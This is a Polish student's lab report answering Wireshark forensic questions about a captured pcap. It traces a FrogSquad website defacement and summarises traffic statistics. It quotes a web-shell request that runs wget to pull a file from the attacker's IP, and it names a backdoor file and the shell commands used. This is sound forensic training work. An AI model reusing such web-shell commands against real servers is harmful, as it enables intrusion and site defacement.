Przed przystąpieniem do ćwiczenia należy pobrać najnowszą wersję narzędzia Wireshark. Program jest w pełni darmowy, pobrany może zostać ze strony: `https://www.wireshark.org/#download` . Ćwiczenia przeprowadzane w ramach tych laboratoriów przeprowadzane mają być na podanym przez prowadzącego pliku (plik dostępny jest na platformie eKursy i nosi nazwę file.pcap), należy go otworzyć przy pomocy Wireshark. **Po uzupełnieniu dokument należy wydrukować do pdf przy pomocy narzędzia „Microsoft Print to PDF". Wszelkie dodatkowe zdjęcia lub zrzuty ekrany należy załączyć jako plik *.zip. Plik ze sprawozdaniem powinien zostać nazwany w następującym formacie Imię_Nazwisko_Indeks.pdf, a plik zip: Imię_Nazwisko_Indeks.zip.**

1 Ćwiczenie 1:

Maszyna o adresie 192.168.0.2 została zaatakowana przez grupę FrogSquad. W wyniku ataku na serwerze został umieszczony plik *fr.jpg*. Korzystając z narzędzia Wireshark odpowiedz na pytania:

1.1 Z jakiego adresu IP został dokonany atak?

Atak został dokonany z adresu IP: 217.195.49.103

1.2 W jaki sposób atakujący umieścili obraz na serwerze?

Atakujący umieścili obraz na serwerze korzystając pliku cm0.php poprzez wykonanie polecenia wget. (/skyblue/cm0.php?cmd=wget%20http://217.195.49.103:63129/fr.jpg).

1.3 Jak wyglądała strona po przeprowadzonym ataku?

Na stronie pojawił się napis "Hack3d by FrogSquad" i obraz fr.jpg (zawartość pliku fr.html).

1.4 Odszukaj w komunikacji umieszczone zdjęcie, zapisz je na dysku. Co przedstawia? Opisz drogę prowadzącą do pozyskania zdjęcia.

Obraz przedstawia żabę w kapeluszu z fajką siedzącą na kawałku drewna.

Droga prowadząca do pozyskania zdjęcia:
W programie Wireshark należy wejść w: Plik -> Eksportuj obiekty -> HTTP -> W Text Filter wpisać fr.jpg -> Wybrać odpowiedni obraz -> Zachowaj -> Zapisać na dysku

1.5 Czy atakujący umieścili na serwerze backdoora? Jeśli tak to jak nazywał się plik zawierający go? Jakie polecenia wykonywali?

Tak. Nazwa pilku: ini.php
Polecenia:
pwd, cat, ls, nc, wget, rm, ln, mv

1.6 Jakie komendy wywoływali atakujący?

Komendy:
pwd, cat, ls, nc, wget, rm, ln, mv

1.7 Czy grupa wracała do tego serwera? Jeśli tak to w jakie dni?

Tak. Grupa wracała do tego serwera 12.03.2015, 16.03.2015 (w ten dzień został dokonany atak) oraz 19.03.2015.

2 Ćwiczenie 2:

Analizując pobraną komunikację odpowiedz na pytania:

2.1 Jakie protokoły w przechwyconej komunikacji były wykorzystywane?

IPv6, IPv4, UDP, TCP, SSDP, MDNS, LLMNR, DHCPv6, ICMPv6, RTCP, NTP, NBNS, NBDS, SMB, NAT, MDNS, DHCP, DNS, XMPP, TLS, SSH, SMTP, IMF, POP, HTTP, FTP, IGMP, ICMP, ARP

2.2 Podczas przeglądania hierarchii protokołu mogłeś zauważyć wykorzystanie SMTP oraz POP, można odczytać jakieś wiadomości z pliku?

Tak, przeglądając przechwycone pakiety można odczytać wiele (również bardzo poufnych) informacji związanych z funkcjonowaniem systemu poczty elektronicznej. Są to m.in. treści wysyłanych wiadomości, daty i godziny, nazwy użytkowników wymieniających wiadomości, adresy e-mail oraz hasła.

2.3 Z jakich innych adresów łączyli się atakujący?

Atakujący łączyli się z adresów IP:
217.195.49.146
217.195.49.103
217.195.49.112

2.4 Jaki jest najdłuższy wymieniony pakiet który został wymieniony? Podaj zakres w którym się znajduje oraz ile wszystkich pakietów z tego zakresu zarejestrowano.

Najdłuższe pakiety mają długość 1514 bajtów. Liczba pakietów o tej długości to 66.
Znajdują się one w zakresie 1280-1514, w którym jest w sumie 52433 pakietów.

2.5 Jakie komunikaty DHCP były wymieniane? Ile ich było?

Wymieniane komunikaty DHCP to:
DHCP ACK, DHCP Inform, DHCP Offer, DHCP Request
Liczba wiadomości DHCP: 1138

2.6 Na podstawie statystyk DNS określ czy był przeprowadzany atak DDos. Wyjaśnij dlaczego tak lub nie.

Na podstawie statystyk DNS można stwierdzić, że nie został przeprowadzony atak DDoS, ponieważ serwer nie został nadmiernie obciążony napływającymi zapytaniami DNS, co przełożyłoby się na problemy z odpowiedzią na te zapytania.

2.7 Analizując komunikację ustal adres IP serwera DHCP. Jaka jest maska sieci lokalnej?

IP serwera DHCP: 192.168.0.1
Maska sieci: 255.255.255.0

2.8 Korzystając z dostępnych narzędzi podaj jakie kody odpowiedzi http były wysyłane oraz ile ich było.

Kod odpowiedzi HTTP	Liczba	Kod odpowiedzi HTTP	Liczba	
200	1333	400	5	
204	3	403	2	
206	6	404	26	
301	47	412	3	
302	69	500	3	
304	227	503	4	SUMA: 1728